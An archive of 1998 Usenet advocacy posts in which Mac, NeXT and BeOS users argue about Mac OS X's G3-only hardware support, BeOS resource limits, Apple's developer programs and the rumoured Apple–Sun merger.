> > and the rest of the non-G3 OSs. Or why not just stick with OS 8.1? My
>
> Because 8.1 is so obsolete it isn't even funny?
Agreed. Just because we all defend MacOS vs. Windows overall doesn't mean
we don't think it sucks in many different ways... While 8.5 may be an
improvement, I don't see it fixing many fundamental issues, and what I've
heard of 8.6 and 9 (or whatever it will be called) don't sound like great
leaps forward either. Personally, I'm pretty sick of the lousy
multitasking, the fragmented memory, etc., but nothing short of OS X will
fix these issues.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: alex@webis.net (Alex Kac)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Mon, 20 Jul 1998 19:02:45 -0500
Organization: Web Information Solutions---Interactive and database web design studio
Message-ID: <alex-2007981902450001@castle.webis.net>
References: <6or4sj$83a$1@supernews.com> <forrestDELETE-THIS!-1807981526100001@term3-17.vta.west.net> <6orngk$5rt$1@nnrp1.dejanews.com> <alex-1907982054430001@castle.webis.net> <6oungt$dg8$1@nnrp1.dejanews.com>
NNTP-Posting-Date: 21 Jul 1998 00:02:44 GMT
In article <6oungt$dg8$1@nnrp1.dejanews.com>, quinlan@intergate.bc.ca wrote:
: In article <alex-1907982054430001@castle.webis.net>,
: alex@webis.net (Alex Kac) wrote:
:
: > One point. Under Appearance, writing UI code is MUCH easier. Especially
: > movable modal dialog boxes. Appearance comes built in with 8.0 and above,
: > is a lot richer in 8.5 and works with pre 8.0 systems.
:
: I haven't looked into the Appearance Manager because you have to give up
: System 7 support but what does it do to make movable modal dialog boxes
: easier? Do controls use callbacks now instead of forcing you to call
: FindControl() and TrackControl() or something?
:
You do not give up System 7 support as you include in the Appearance
extension all the way back to 7.1 and up. Appearance 1.02.
Now as far as making movable modal dialox boxes:
Basically you have the same code as a normal modal dialog, change the
resource to the movable modal (DLOG resource), add a DLGX resource for
Appearance support, and then provide a filterproc for update events.
My programmer here also wants me to mention an article in the Technotes
that talks about a System 7.0 undocumented filterproc called StdFilterProc
that handles escape, command -., return, enter, and a bunch of other items
that are normally a big pain in dialogs. Unfortunately for programmers in
the last 7 years, it was documented, but there is no excuse not to use it.
-
Alex Kac
Web Information Solutions CEO
Dynamic Business Publishing - Tango 3 Solution Provider
http://www.WebIS.net
From: not@a.valid.email.add (Michael M. Eilers)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Mon, 20 Jul 1998 23:28:03 -0700
Organization: Fearful Symmetry Designs
Sender: meilers@ip-26-018.phx.primenet.com
Message-ID: <not-2007982328040001@ip-26-018.phx.primenet.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <see-below-2007981855580001@dynamic53.pm04.mv.best.com>
NNTP-Posting-Date: 21 Jul 1998 06:26:11 GMT
Mail-Copies-To: eilersm@psn.net
`vmEi&(y';5Th{Li4G1HXItb0_)&PWr
In article <see-below-2007981855580001@dynamic53.pm04.mv.best.com>,
see-below@not-my-address.com (Matthew Vaughan) wrote:
> Okay, by your reckoning, a IIsi is the equivalent to a 1918 car. Is this
> really reasonable? I'd think a 1978 model would be a more reasonable
> comparison.
Not at all: a 20 mhz 020 Mac is a totally different beast than a G3
machine, about as radical a difference as a 1920 Packard to a 1998 Lexus.
Radically different engine, radically enhanced power train, even burns
different fuel (runs on a different voltage and bus ratio).
>That means a 2-year-old Mac is more like a 1993 car, not a
> 1978. This seems fair--a 2-year-old Mac would include a Power Center Pro
> 240, which is pretty darn good even by today's standards (especially if
> you put a G3 processor in it), with very little to distinguish it from a
> G3 PowerMac of today (60MHz bus vs 66MHz, whoop-de-doo).
I happen to *have* a PowerCenter Pro 240--running it right now. When Mac
OS X hits the shelves, I will have long since sold it for a G3. I've never
had a computer more than 3 years. Why? Because I am *cutting edge*--and I
choose to be. It is a *choice* I made, not a right or a privelege as some
of you seem to think.
> > One more time folks, just for fun: Mac OS X is a *cutting edge* OS. Not a
> > typical user OS. Not a have-to-have-it OS. Not a fun bleeps and bloops and
> > "ooh, don't my windows look cool!" OS. Only those on the cutting edge are
> > going to need it, and only those on the edge will get it.
>
> I've heard this refrain so many times I want to puke. Only "cutting edge"
> people need PMT, or memory protection? The rest of us are better off
> freezing, crashing, and otherwise stumbling along in our daily computing?
Pardon me for a moment here, but what is your frame of reference? Who out
there among us actually has any of the things you magically expect to be
delivered to your doorstep? Win 95 /98 users? Ha! NT users? Gimme a break!
You expect Apple to come out with an OS that is better than anything
currently available to *any* user, do it in record time, and give it all
the great features that makes the Mac OS great--and then spend months
making it work on your pathetic 4-year-old obsolete hardware? Cripes, I
knew Mac users were a picky bunch with high expectations, but now you are
beginning to sound like a whiner!
People have been freezing, crashing and stumbling along with their home
PCs for the last 15 years, on every platform. I've done tech support for
NT, 95, 98, Mac OS 7.1 thry 8.1 and even Win 3.1. Trust me, they all
crash, they all burn, they all die when you least want them to. Yet
strangely enough, we still can still bring ourselves to sit down in front
of them every day.
I think people will continue to sit down in front of them every day for
many years to come.
The only problem with Apple's OS X strategy is the inflated expectations
of a *small* pool of users.
michael
--
"If you're bored then you're boring" --Harvey Danger, from Flagpole Sitter
Michael M. Eilers * Fearful Symmetry Designs
From: not@a.valid.email.add (Michael M. Eilers)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Mon, 20 Jul 1998 23:29:18 -0700
Organization: Fearful Symmetry Designs
Sender: meilers@ip-26-018.phx.primenet.com
Message-ID: <not-2007982329190001@ip-26-018.phx.primenet.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <pxpst2-2007981409410001@pelli.pathology.pitt.edu> <joe.ragosta-2007982108170001@elk57.dol.net>
NNTP-Posting-Date: 21 Jul 1998 06:27:20 GMT
Mail-Copies-To: eilersm@psn.net
`vmEi&(y';5Th{Li4G1HXItb0_)&PWr
In article <joe.ragosta-2007982108170001@elk57.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> > > Yes, but see above--Apple doesn't care a rats ass for a mac over 4 years
> > > old--they don't even get tech support. Try to call Apple right now and ask
> > > them for help with your IIsi.
>
> The IIsi was discontinued in 1991 and is comparable to a 386. What major
> OS is supported by the vendor on a 386?
I was making an extreme example. Try calling Apple tech support for a LC
III, then, or a Quadra 800.
michael
--
"If you're bored then you're boring" --Harvey Danger, from Flagpole Sitter
Michael M. Eilers * Fearful Symmetry Designs
Message-ID: <35B43394.B713C776@scirocco.bbn.hp.com>
Date: Tue, 21 Jul 1998 08:22:12 +0200
From: Joerg Stegemann <stegeman@scirocco.bbn.hp.com>
Organization: HP
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.be.advocacy,comp.sys.next.advocacy
Subject: Re: Be's had their own share of direction changes (was: Here we go
again...)
References: <35AD3399.FF0BD03D@rauland.com> <35B093FC.1AF8@REMOVE.wayne.edu> <joe.ragosta-1807981004130001@elk79.dol.net> <yVhs1.685$lg2.5923889@news.magma.ca> <6otft7$b4j$1@nntp2.ba.best.com> <6ouffm$jqs$1@news10.ispnews.com> <6ouqr3$99$1@nntp2.ba.best.com> <Pine.LNX.3.95.980720094618.8608P-100000@rainier.virtual-impact.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Corey wrote:
> > But in any case, it's not that this is *really* a critical bug I
> > guess... it's just very 'amusing' to see in such a new ground breaking
> > OS. And it's a limitation other systems I use don't seem to have,
> > rediculous or not.
> Sure you have a valid point - although it's just as ridiculous for you
> to harp on that one - i.e. is that the only evidence you've found of
> limiting factors on the BeOS ?? ... sheesh, you know it must be a
No. What about the absolute number of threads, the maximum of semaphores in
the
system, the limit on open files (that is a *very* old problem that should
have been
fixed years ago) ?
> And if you really want to get down to it, it's probably pretty reasonable
> to limit the amount of open windows down to a *mere* 200 - I mean, any
> program that produces more than just a couple handfulls should be shot
> and killed on the spot.
When every off-screen bitmap uses a thread then you don't need 200 visible
windows, one app that uses a lot of off-screen bitmaps (games maybe ?)
can get you into trouble very easily.
Ciao, Joerg
--
DNRC Minister for irremediable duhcisions
Date: Tue, 21 Jul 1998 08:09:55 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Message-ID: <joe.ragosta-2107980809550001@0.0.0.0>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <joe.ragosta-2007981850280001@elk61.dol.net> <slrn6r7n34.16k.jason@jhste1.dyn.ml.org> <joe.ragosta-2007982111440001@elk57.dol.net> <slrn6r8dnf.290.jason@jhste1.dyn.ml.org>
In article <slrn6r8dnf.290.jason@jhste1.dyn.ml.org>,
jason@jhste1.dyn.ml.org (Jason S.) wrote:
> Joe Ragosta posted the following to comp.sys.mac.advocacy:
>
> >> >Try this:
>
> >> >fdisk
>
> >> As root - only. A sensible user doesn't do day-to-day stuff as root.
>
> >What's your choice if you're running Win95?
>
> A sensible user doesn't run Windows 95.
That's true. But it's the major competitor to MacOS. So his criticism of
Mac OS isn't very valid, is it?
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: 21 Jul 1998 06:32:01 GMT
Organization: I don't think so
Message-ID: <slrn6r8dnf.290.jason@jhste1.dyn.ml.org>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <joe.ragosta-2007981850280001@elk61.dol.net> <slrn6r7n34.16k.jason@jhste1.dyn.ml.org> <joe.ragosta-2007982111440001@elk57.dol.net>
Joe Ragosta posted the following to comp.sys.mac.advocacy:
>> >Try this:
>> >fdisk
>> As root - only. A sensible user doesn't do day-to-day stuff as root.
>What's your choice if you're running Win95?
A sensible user doesn't run Windows 95.
--
Whenever you find that you are on the side of the majority, it is time
to reform.
-- Mark Twain
Date: Tue, 21 Jul 1998 08:16:11 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Distribution: world
Subject: Re: Apple heading to obscurity?
Message-ID: <joe.ragosta-2107980816120001@0.0.0.0>
References: <gmgraves-1207981502300001@sf-usr1-36-164.dialup.slip.net> <6or25p$2hc$1@nnrp1.dejanews.com> <35B1100A.3842D7E8@nstar.net> <6orju9$960$1@camel29.mindspring.com> <gmgraves-1907981342550001@sf-pm5-7-71.dialup.slip.net> <joe.ragosta-1907982129290001@elk84.dol.net> <gmgraves-2007981208480001@sf-usr1-1-129.dialup.slip.net>
In article <gmgraves-2007981208480001@sf-usr1-1-129.dialup.slip.net>,
gmgraves@slip.net (George Graves) wrote:
> In article <joe.ragosta-1907982129290001@elk84.dol.net>,
> joe.ragosta@dol.net (Joe Ragosta) wrote:
>
> > In article <gmgraves-1907981342550001@sf-pm5-7-71.dialup.slip.net>,
> > gmgraves@slip.net (George Graves) wrote:
> >
> > > In article <6orju9$960$1@camel29.mindspring.com>, Matthew Cromer
> > > <matthew_cromer@iname.com> wrote:
> > >
> > > > In article <gmgraves-1807981227580001@sf-usr1-32-160.dialup.slip.net>
> > > > George Graves, gmgraves@slip.net writes:
> > > > >
> > > > Sun offered less than the current stock price, as the deal was about to
> > > > close.
> > > >
> > > > One does not sell a company for less than the market
capitalization. The
> > > > offer was worthless.
> > >
> > > True, but Apple was ready to accept it anyway. Amelio did not put the
> > > kaibash on it for that reason though. He squashed it because he had just
> > > taken the reins of Apple and he knew that if the deal went through, he
> > > would be out.
> >
> > And your evidence that Apple was ready to accept a deal for _less_ than
> > the then-current stock price is.....?
> >
> > Oh, you don't have any.
> >
> > Never mind.
>
>
> Not so fast, there, cowboy!
>
> Quote from Page 367 of Jim Carlton's book :"Apple- The Inside Story of
> Intrigue,
> Egomania and Busines Blunders"
>
> An unnamed Apple executive told Carlton in an interview for his book:
"We knew
> we wouldn't make a lot of money on this, but we felt that a merger with Sun
> would create critical mass. The cultures were aligned with each other, and
> Scott (McNealy) would have made a dynamic leader. Nobody knew what would
> happen to Gil (Amelio)."
>
> For a thorough documentation of the Apple-Sun merger killed by Amelio, read
> the chapter "Mission Impossible" from PP 364 through 393.
Let's see.
1. I don't see anything in this quote to support your assertion that Sun
offered less than Apple's market capitalization. "we wouldn't make a lot
of money" doesn't cut it.
2. Third hand rumors in a mud-slinging book aren't generally considered
reliable sources, anyway.
I'm still waiting for evidence that Sun offered less than the market
capitalization.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: not@a.valid.email.add (Michael M. Eilers)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Mon, 20 Jul 1998 23:35:40 -0700
Organization: Fearful Symmetry Designs
Sender: meilers@ip-26-018.phx.primenet.com
Message-ID: <not-2007982335410001@ip-26-018.phx.primenet.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se>
NNTP-Posting-Date: 21 Jul 1998 06:33:49 GMT
Mail-Copies-To: eilersm@psn.net
`vmEi&(y';5Th{Li4G1HXItb0_)&PWr
In article <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se>,
qwerty.x@algonet.se (Magnus Thoor) wrote:
> Just to get shafted again when OS X won't be released due to (insert
> excuses here)? But Apple instead has OS XI just around the corner but
> you need a G4 to run it?
Hey, man, your paranoia is your own business. Look for enemies and you
will always find them, eventually.
> Also, why should I have to buy a new machine if the one I'm using is
> working fine and is plenty fast? It should work even better with OS X,
> if Apple's hype is true. We're talking about quite capable machines that
> gets the boot just because Apple feels like selling a few more G3's, and
> that's what's makes it so *ugly*.
And Bill Gates obsoleting every 286,386, and 486/sx with Windows 95 was
not ugly? (please, no stories about how you got 95 to run on a PS/II.
Whatever you did, it did not run well.) This is called capitalism and
profit making. MACS ARE NOT A RELIGION. Repeat as much as necessary. APPLE
OWES YOU *NOTHING*. Just because you bought a Mac doesn't mean you are
part of some secret tribe with special priveleges.
When the 99 Lexus comes out with heated seats and extra chrome, do you
drive your '97 to the dealer and demand an upgrade?
People's expectations about computers are so divorced from reality.
> The truth in the matter is that Apple simple has gotten greedy, and I'm
> pretty sure it's going to backfire on them.
Oh yeah. Tell it to the stock price, baby. I bought Apple stock at *12*,
dammit--now it is $36!!
I could kiss Steve Jobs full on the mouth.
> > is a VERY long time away. The ones who are not will stick with Allegro and
> > and the rest of the non-G3 OSs. Or why not just stick with OS 8.1? My
>
> Because 8.1 is so obsolete it isn't even funny?
That's funny, I happen to know of a major newsweekly with a circulation of
450,000 that rakes in $6 to $8 million a year in profit. They write,
produce, seperate, edit and print it all on Macs, and make lots and lots
of money.
And they are all running 7.6.1.
michael
--
"If you're bored then you're boring" --Harvey Danger, from Flagpole Sitter
Michael M. Eilers * Fearful Symmetry Designs
Date: Tue, 21 Jul 1998 08:12:36 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Message-ID: <joe.ragosta-2107980812360001@0.0.0.0>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <not-2007982335410001@ip-26-018.phx.primenet.com> <6p1e3r$ub9$1@bunyip.cc.uq.edu.au>
In article <6p1e3r$ub9$1@bunyip.cc.uq.edu.au>, "Christopher Smith"
<drsmithy@usa.net> wrote:
> Michael M. Eilers <not@a.valid.email.add> wrote in message
> not-2007982335410001@ip-26-018.phx.primenet.com...
> >In article <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se>,
> >qwerty.x@algonet.se (Magnus Thoor) wrote:
> >
> >> Just to get shafted again when OS X won't be released due to (insert
> >> excuses here)? But Apple instead has OS XI just around the corner but
> >> you need a G4 to run it?
> >
> >Hey, man, your paranoia is your own business. Look for enemies and you
> >will always find them, eventually.
> >
> >> Also, why should I have to buy a new machine if the one I'm using is
> >> working fine and is plenty fast? It should work even better with OS X,
> >> if Apple's hype is true. We're talking about quite capable machines that
> >> gets the boot just because Apple feels like selling a few more G3's, and
> >> that's what's makes it so *ugly*.
> >
> >And Bill Gates obsoleting every 286,386, and 486/sx with Windows 95 was
> >not ugly? (please, no stories about how you got 95 to run on a PS/II.
> >Whatever you did, it did not run well.)
>
> The difference being, Win95 will run (usably even) on machines built about 4
> years before it was released. Apple can't even commit to OS X running on
> machines that will be barely *18 months* old at its release.
There are sometimes cut-off points. Until MacOS 8, Apple was fully
supporting 13 year old machines. Mac OS 8.1 fully supports machines going
back 8 years.
Win95 isn't as wonderful as you're pointing out. At the time of its
release, a lot of people were talking about scrapping year old machines to
get Win95 to run well. Heck, even for Win98, there was a MS press release
recently suggesting that if people want to run Win98 without trouble, they
should get a new PC.
And don't even get me started on OS/2.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Tue, 21 Jul 1998 08:20:07 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.be.advocacy,comp.sys.next.advocacy
Subject: Re: Be's had their own share of direction changes (was: Here we go again...)
Message-ID: <joe.ragosta-2107980820070001@0.0.0.0>
References: <35AD3399.FF0BD03D@rauland.com> <35B093FC.1AF8@REMOVE.wayne.edu> <joe.ragosta-1807981004130001@elk79.dol.net> <yVhs1.685$lg2.5923889@news.magma.ca> <6otft7$b4j$1@nntp2.ba.best.com> <6ouffm$jqs$1@news10.ispnews.com> <6ouqr3$99$1@nntp2.ba.best.com> <Pine.LNX.3.95.980720094618.8608P-100000@rainier.virtual-impact.com> <6p052l$j3c$1@nntp2.ba.best.com> <6p1hlq$f44$2@news10.ispnews.com> <6p1ill$6s3$1@bunyip.cc.uq.edu.au> <6p1l6e$11l$1@news2.ispnews.com>
In article <6p1l6e$11l$1@news2.ispnews.com>, Earl Malmrose
<malmrose@nospam.jetcity.com> wrote:
> "Christopher Smith" <drsmithy@usa.net> :
>
> > Earl Malmrose <malmrose@nospam.jetcity.com> wrote in message
> > 6p1hlq$f44$2@news10.ispnews.com...
> > >kcd@babylon5.jumpgate.com (Kenneth C. Dyke) :
> > >>
> > >> Honestly? Well, 1024+ windows didn't seem to be a problem, and I had
> > >> plenty of memory and CPU power to go..... my OS doesn't require 2x
> > >> physical memory's worth of swap space right off the bat, I can have as
> > >> many threads or semaphores or ports as I have memory for as far as I
> > >> know, etc.
> > >
> > >Are you implying that BeOS requires "2x physical memory's worth of swap
> > space
> > >right off the bat"?
> >
> > Well, you can't set the swap to *less* than that, although if you physically
> > don't have that much space on your BeOS partition it might use less.
>
> "might use less" in actuality is "doesn't need any". If there isn't enough
> free space for the minimum size swap file, no swap file is used at all. A
> swap file is not required. And the minimum swap size varies depending on how
> much physical ram there is. I have 128MB, and the minimum swap size is 1.5x.
> It would be nice to make it smaller, but that's a pretty small gripe.
Hmmm. I notice that when someone wants to criticize Mac OS for its fixed
VM swap file, it's a very bad thing. But with BeOS, it's a pretty small
gripe.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: "Sean C. Payne" <scpayne@digital.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.be.advocacy
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Date: Mon, 20 Jul 1998 22:47:05 -0400
Organization: SCP Consulting
Message-ID: <35B40129.7D50@digital.net>
References: <6oj5a0$goe$1@hole.sdsu.edu> <35B08C8B.7E9A@REMOVE.wayne.edu> <19980718131133152609@pm2-2-03.aug.com> <35B16136.5FA1@REMOVE.wayne.edu> <900819436.724616@kelp.mbay.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
NNTP-Posting-Date: 21 Jul 1998 02:43:48 GMT
Cc: news.cais.net
Donald R. McGregor wrote:
>
> In article <35B16136.5FA1@REMOVE.wayne.edu>,
> Eric Iverson <eric_iverson@REMOVE.wayne.edu> wrote:
> >Where was the LaserWriter? Postscript? Aldus and Adobe?
> >Nowhere!
>
> Just because Mac once didn't have a killer app, and then
> did, does not mean that because Be does not have a killer
> app, it will someday.
>
> Those with experience with NeXT will testify to this.
> (AppKit and custom development were OK, but more along
> the lines of a sporadically violent barrrom brawler than killer.)
>
Next=Steve Jobs=No clue how to sell a hardware/software platform...
Which really concerns me now that he is back at Apple...
Sean C. Payne
Running OS/2, Mac, Linux and soon Be
In a world without fences, who needs Gates.
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Mon, 20 Jul 1998 19:59:23 -0700
Message-ID: <see-below-2007981959240001@dynamic53.pm04.mv.best.com>
References: <Jonas.Palm-2007981316580001@jp.orgk1.dial.lu.se> <B1D929AE-A3562@206.165.43.162> <joe.ragosta-2007982116060001@elk57.dol.net>
In article <joe.ragosta-2007982116060001@elk57.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> In article <B1D929AE-A3562@206.165.43.162>, "Lawson English"
> <english@primenet.com> wrote:
>
> > Jonas Palm <Jonas.Palm@orgk1.lu.se> said:
> >
> > >And yes, I would be better off on the wintel platform as far as OS
> > >support goes. The lead programmer of our software company got himself a
> > >PPro 200 slightly less than two and a half years ago. He can obviously
> > >run the latest Windows and NT versions, and will likely be able to do so
> > >for at least another few years. Faced with the same decision I bought a
> > >7300 last autumn. It sure seems my hardware won't have the same support.
> >
> > I bought a 7300 about 3-4 months ago in order to do MacOS 7.x, MacOS 8.x,
> > Rhapsody and BeOS development. I *assumed* that the ability to run
> > Rhapsody, the basis for the next-generation OS from Apple, would give me
> > the ability to run the next-generation OS from Apple.
> >
> > I was wrong.
>
> Why is that wrong? Every indication is that the 7300 will run Rhapsody
> just fine.
>
> Oh, you mean the one after that. Just how many future software versions
> running on your 7300 is the _right_ number? Where does Apple draw the
> line?
At a reasonable point where the hardware is really different in
capabilities, or the old hardware is really truly totally obsolete (like
dropping 68030 support in OS 8). So dropping 68K is entirely
reasonable--it's a different processor architecture, and those machines
are getting pretty darn old. It also makes sense to not support NuBus,
PDS, A/V or Comm slots. It also would make sense to not bother with
third-party motherboards never used by Apple. And yes, it does make sense
to support current/future models first, and not guarantee support for any
particular earlier models, and not guarantee support for non-Apple clones.
But this "it absolutely won't run on anything except a G3" when they were
selling brand new 9600/350s even in 1998, and especially when the
8600/9600 models were what developers had to buy to run Rhapsody, doesn't
make sense. Other than the G3 processor and a faster bus speed, there's no
real distinction in capabilities or features between a G3 PowerMac and any
other PCI PowerMac.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
Date: Tue, 21 Jul 1998 08:25:20 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.be.advocacy,comp.sys.next.advocacy
Subject: Re: Be's had their own share of direction changes (was: Here we go again...)
Message-ID: <joe.ragosta-2107980825210001@0.0.0.0>
References: <joe.ragosta-1807981004130001@elk79.dol.net> <yVhs1.685$lg2.5923889@news.magma.ca> <6otft7$b4j$1@nntp2.ba.best.com> <6ouffm$jqs$1@news10.ispnews.com> <Pine.BOS.3.96.980720211635.1874A-100000@fbnp>
In article <Pine.BOS.3.96.980720211635.1874A-100000@fbnp>, Tyler Riti
<fizzboy@mail.utexas.edu> wrote:
> On 21 Jul 1998, Kenneth C. Dyke wrote:
>
> >>Unlike Apple, Be listens to their developers. ^_^
> >
> >Yeah, obviously Apple wasn't listening at all when they decided to do
> >Carbon to assist existing MacOS developers instead of forcing them to
> >rewrite everything. They also apparently weren't listening when they
> >added stuff like NSDocument, NSWindowManager, NSUndoManager, etc. to
> >DR2 YellowBox.
>
> Hey hey hey... I am just as much a Mac user as you. I was even a MacOS
> developer before I started developing for BeOS. What made me switch? At the
> time, Be's fees for becoming a developer were zero. Apple? $250 for the
> cheapest program. When you're a starving college student, stuff like that
> matters. Of course, now things are a little different but Be's dev program
> still remains a good deal because you get the full version of Codewarrior
> for free. You give a little, you take a little.
Actually, IIRC, Apple's cheapest program is also free-you download the
tools you need at no cost.
>
> Either way, you are right. As of late, Apple has had its finger on the pulse
> of the consumer market. Nevertheless, a wound takes time to heal. The scars
> still exist but with the right moves, they will be forgotten.
>
> >They also weren't listening to users when they upgraded the modem in
> >the iMac to 56k from 33.6k.
>
> I've heard that the iMac uses a software modem so this would be very easy to
> do. Of course all of this is hearsay so somebody could of just pulled this
> out of their @$$ or something.
I don't think there's an official release, but Apple is reportedly
replacing the software 33.6 with a hardware 56k modem. So, they listened
to consumers even at significant cost.
